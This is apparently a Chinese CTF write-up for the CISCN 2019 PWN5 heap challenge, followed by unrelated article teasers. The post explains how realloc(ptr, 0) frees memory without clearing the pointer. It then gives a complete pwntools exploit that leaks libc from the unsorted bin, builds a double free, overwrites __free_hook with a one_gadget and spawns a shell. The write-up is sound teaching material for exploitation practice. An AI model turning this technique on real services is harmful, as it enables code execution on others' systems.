pwn--realloc [CISCN 2019东南]PWN5

news2025/1/18 11:42:05

首先学习一下realloc这个函数,以下是文心一言的解释:

realloc是C语言库函数之一,用于重新分配内存空间。它的主要功能是调整一块内存空间的大小。当需要增加内存空间时,realloc会分配一个新的更大的内存块,然后将原内存块的内容复制到新块中,并释放原内存块;当需要减少内存空间时,realloc会尝试将内存块的大小减少到新的大小,并返回调整后的内存块地址。

realloc函数的原型为:void* realloc(void* ptr, size_t size); 其中,ptr是指向之前分配的内存块的指针,size是要分配的新内存块的大小(以字节为单位)。如果ptr为NULL,则realloc函数的行为与malloc函数相同;如果size为0,则realloc函数会释放由ptr指向的内存块。realloc函数的返回值是指向新分配的内存块的指针。如果分配成功,则返回值不为NULL;如果分配失败,则返回NULL。

提取关键点:分配更大的内存时会先释放原chunk,当size为0时,会释放ptr。这是不借助free函数的释放,不会将指针清空,可以用来构造doublefree。

还有一个知识点:

在程序中,我们请求了一个大小为0的堆块。

但通过gdb调试发现,堆块大小为0x20,也就是说malloc(0),malloc(8)和malloc(0x10)效果其实是一样的,由于fd指针和bk指针,一个chunk的大小至少是0x20。

有了以上两个知识点,让我们进入下面这道题:

delete之后会把指针清空。没办法uaf。也不存在堆溢出。这该怎么办呢。

发现edit有realloc函数,恍然大悟!

这里补充一点,低版本,至少libc 2.27及以下当你从unsortedbin分配一个堆块时,不会把fd和bk指针清空,可以利用这个泄露Libc基址,至少libc 2.31及以上会把这两个区域清空。

以下是exp:

from pwn import *
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc-2.27.so')
io=remote('node5.anna.nssctf.cn',24158)
#io=remote('pwn.challenge.ctf.show',28284)
#io=process('./pwn')

def add(size,content='a'):
    io.recvuntil(b"Your choice:")
    io.sendline(b'1')
    io.recvuntil(b"size?>")
    io.sendline(str(size).encode())
    io.recvuntil(b"content:")
    io.send(content)

def delete(idx) :
    io.recvuntil(b"Your choice:")
    io.sendline(b'4')
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())

def show(idx):
    io.recvuntil(b"Your choice:")
    io.sendline(b'3')
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())

def edit(idx,content) :
    io.recvuntil(b"Your choice:")
    io.sendline(b'2')
    io.recvuntil(b"Index:")
    io.sendline(str(idx).encode())
    io.recvuntil(b"New content:")
    io.send(content)

add(0x410)#0
add(0x10)#1
delete(0)
add(0x410,b'a'*5+b'b'*3)#0
show(0)
io.recvuntil(b'bbb')
usbin=u64(io.recv(6).ljust(0x8,b'\x00'))
print('usbin:',hex(usbin))
#gdb.attach(io)
#pause()
malloc_hook=usbin-0x70
libc_base=malloc_hook-libc.sym['__malloc_hook']
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
print('free_hook:',hex(free_hook))
print('system:',hex(system))
add(0)#2
delete(1)
io.recvuntil(b"Your choice:")
io.sendline(b'2')
io.recvuntil(b"Index:")
io.sendline(b'2')
delete(2)
one_gadget=libc_base+0x4f302
add(0x10,p64(free_hook))#1
#gdb.attach(io)
#pause()
add(0x10,p64(one_gadget))#2
add(0x20,b'/bin/sh\x00')#3
delete(3)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1622706.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

19 使用MapReduce编程统计超市1月商品被购买的次数

首先将1月份的订单数据上传到HDFS上&#xff0c;订单数据格式 ID Goods两个数据字段构成 将订单数据保存在order.txt中&#xff0c;&#xff08;上传前记得启动集群&#xff09;。 打开Idea创建项目 修改pom.xml&#xff0c;添加依赖 <dependencies><dependency>…

多客圈子交友系统 uniapp+thinkphp6适配小程序/H5/app/api全开源,多款插件自选,支持个性定制!

网上交友的优点包括&#xff1a; 1. 方便&#xff1a;网上交友可以随时随地进行&#xff0c;不受时间和空间的限制&#xff0c;方便且高效。 2. 匿名性&#xff1a;网上交友可以实现匿名性&#xff0c;用户可以匿名地搜索、聊天或交换信息&#xff0c;保护个人隐私和安全。 3.…

Linux——进程基本概念中篇

Linux——进程基本概念中篇 文章目录 Linux——进程基本概念中篇一、通过系统调用创建进程——fork1.1 fork的理解1.2 fork的返回值 二、进程状态2.1 运行状态2.2 睡眠状态和休眠状态2.3 停止状态和死亡状态2.4 僵尸进程2.5 孤儿进程2.6 前台和后台进程 三、进程优先级3.1 查看…

redis中的集群模式

主从复制、主从同步(解决高并发读的问题) 主从同步原理&#xff1a; 1.全量同步 slave&#xff08;从节点&#xff09;每次请求数据同步会带两个参数&#xff1a;replid和offset。 replid&#xff1a;第一次请求同步时&#xff0c;replid和master的replid不一样&#xff0c;这…

使用FPGA实现逐级进位加法器

介绍 逐级进位加法器就是将上一位的输出作为下一位的进位输入&#xff0c;依次这样相加。下面以一个8位逐级进位加法器给大家展示。 我增加了电路结构&#xff0c;应该很容易理解吧。 下面我也列举了一位加法器&#xff0c;可以看下。 电路结构 设计文件 1位加法器 librar…

Python-VBA函数之旅-iter函数

目录 一、iter函数的常见应用场景&#xff1a; 二、iter函数使用注意事项&#xff1a; 三、如何用好iter函数&#xff1f; 1、iter函数&#xff1a; 1-1、Python&#xff1a; 1-2、VBA&#xff1a; 2、推荐阅读&#xff1a; 个人主页&#xff1a;神奇夜光杯-CSDN博客 …

《深入Linux设备驱动程序内核机制》学习笔记-第4章

前言 本文是《深入Linux设备驱动程序内核机制》的读书笔记&#xff0c;本文因为是读书笔记所以抄写引用了该书中的大量内容&#xff0c;写读书笔记的目的是在写作的过程中加深对书中内容的理解。 建议读者直接阅读《深入Linux设备驱动程序内核机制》&#xff0c;这本书是Linu…

word导出或另存为pdf图片不清晰问题解决方案

问题描述&#xff1a; 使用word 2019导出pdf时图片不清晰&#xff0c;即使我已经在“选项 → \to →高级 → \to →图片大小和质量 → \to →不压缩文件中的图像 ”选项卡中关闭掉了图片压缩依然无效。 解决方案&#xff1a; 利用word foxit pdf 软件打印的方案转pdf。 &…

SpringBoot3 + Kotlin + mybatis-plus + Swagger3后端开发样例

前言&#xff1a; Kotlin 是一种在 JVM&#xff08;Java 虚拟机&#xff09;、Android 和浏览器端运行的静态类型编程语言。以下是关于 Kotlin 的总结介绍&#xff1a; 1、语言特性&#xff1a; 简洁性&#xff1a;Kotlin 旨在提供简洁且安全的代码&#xff0c;同时保持与 Jav…

学校开展第二届教学名师沙龙

四川城市职业学院讯 4月23日下午&#xff0c;党委教师工作部&#xff08;质量部&#xff09;、教师发展中心组织开展了以“大力弘扬教育家精神&#xff0c;建设高质量高水平教师队伍”为主题的第二届教学名师经验分享沙龙活动。全校12名入选学校教学名师&#xff08;名辅导员…

vue3+Echarts+Nodejs实现动态数据可视化

最近在做毕设的后台管理系统&#xff0c;刚好需要做数据动态可视化的功能&#xff0c;就来记录一下具体的实现方式吧&#xff01; 在开始之前就不阐述用vue创建项目的具体步骤了&#xff0c;主要详细讲解一下vue3、echarts和nodejs三者之间是如何实现数据的动态显示的&#xf…

kafka大数据采集技术实验(未完待续)

Kafka环境搭建 下载地址&#xff1a;https://link.zhihu.com/?targethttps%3A//kafka.apache.org/downloads解压启动zookeeper bin/zookeeper-server-start.sh config/zookeeper.properties需要注意的是 : " c o n f i g / z o o k e e p e r . p r o p e r t i e s &q…

探秘三维地形瓦片服务:流畅展现全球地貌的秘密揭秘

想象一下&#xff0c;如果我们能将全球地形一次性清晰地呈现在我们的电脑屏幕上&#xff0c;那将是怎样的场景&#xff1f;即使拥有比大多数人性能更强悍的电脑&#xff0c;也会忍不住说一句&#xff1a;“卧槽&#xff0c;卡死了”&#xff01;那么&#xff0c;要在电脑中流畅…

linux驱动-CCF-0基础

1. 时钟设备 晶振&#xff1a;提供基础时钟源的&#xff08;可分为有源晶振、无源晶振两种&#xff09;&#xff1b; PLL: 用于倍频的锁相环&#xff1b; mux: 用于多路时钟源选择&#xff1b; Divider: 用于分频的&#xff1b; gate: 用于时钟使能的与门电路等 注册函数…

聚焦数字文创产业!国际数字影像产业园落地成都金牛区

聚焦数字文创产业&#xff01;又一成都文创产业园落地成都金牛区。在数字文创浪潮中&#xff0c;成都金牛区凭借其前瞻性的视野和战略性的布局&#xff0c;成功吸引了又一成都文创产业园“国际数字影像产业园”的落地&#xff0c;为区域经济的增长和文化产业的升级注入了新的活…

C语言实现二叉树

二叉树 1、完全二叉树的递归创建 #define N 6 typedef char data_type; typedef struct bitree{ int n; data_type data; struct bitree *lchild; struct bitree *rchild; }bitree_t; //创建二叉树 bitree_t *create_bitree(int n){ bitree_t *rootNULL; root(bitree_t*)mallo…

提示词优化的自动化探索:Automated Prompt Engineering

编者按&#xff1a; 作者在尝试教授母亲使用 LLM 完成工作任务时&#xff0c;意识到提示词的优化并不像想象中简单。提示词的自动优化对于经验并不丰富的提示词撰写者很有价值&#xff0c;他们没有足够的经验去调整和改进提供给模型的提示词&#xff0c;这引发了对自动化提示词…

node和go的列表转树形, 执行速度测试对比

保证数据一致性&#xff0c;先生成4000条json数据到本地&#xff0c;然后分别读取文本执行处理 node代码 node是用midway框架 forNum1:number 0forNum2:number 0//执行测试async index(){// 生成菜单列表// const menuList await this.generateMenuList([], 4000);const men…

C++ | Leetcode C++题解之第47题全排列II

题目&#xff1a; 题解&#xff1a; class Solution { public:vector<vector<int>> permuteUnique(vector<int>& nums) {dfs(nums, 0);return res;} private:vector<vector<int>> res;void dfs(vector<int> nums, int x) {if (x num…

js的算法-插入排序(直接插入排序)

插入排序 插入排序是一种简单直接的排序方法&#xff0c;其基本思想是每次将一个待排序的记录按其关键字大小插入到前面已经排好序的子序列&#xff0c;直到全部记录插入完成。由插入排序的思想可以引申出三个重要的排序算法&#xff1a; 直接插入排序、折半插入排序和希尔排序…